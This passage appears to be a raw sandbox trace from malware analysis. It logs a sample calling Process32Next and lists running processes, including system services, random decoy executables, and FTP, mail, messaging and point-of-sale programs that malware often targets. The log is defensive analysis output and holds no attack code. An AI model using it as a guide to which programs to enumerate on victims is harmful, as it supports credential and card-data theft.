th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.370] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.372] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.406] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.409] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.413] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.416] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.419] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.423] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.427] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.430] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.434] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0243.437] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.439] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.443] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0243.446] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0243.450] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0243.453] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0243.457] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0243.460] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0243.463] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0243.467] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.470] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.473] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0243.476] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0243.479] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.482] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.487] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.490] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0243.493] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0243.495] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0243.498] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0243.501] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0243.506] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0243.509] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0243.512] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0243.515] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0243.518] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0243.521] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0243.524] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0243.526] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0243.567] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0243.572] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0243.575] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0243.579] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0243.582] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0243.584] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0243.587] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0243.590] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0243.594] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0243.598] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0243.602] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0243.606] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0243.610] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0243.614] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0243.617] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0243.622] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0243.626] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0243.630] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0243.634] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0243.638] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0243.641] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0243.645] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0243.651] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0243.656] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0243.659] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0243.663] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0243.666] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0243.669] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0243.673] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0243.676] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0243.679] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0243.683] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0243.686] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0243.690] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0243.724] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0243.730] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0243.733] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0243.736] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0243.740] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0243.744] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0243.747] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0243.750] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0243.753] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 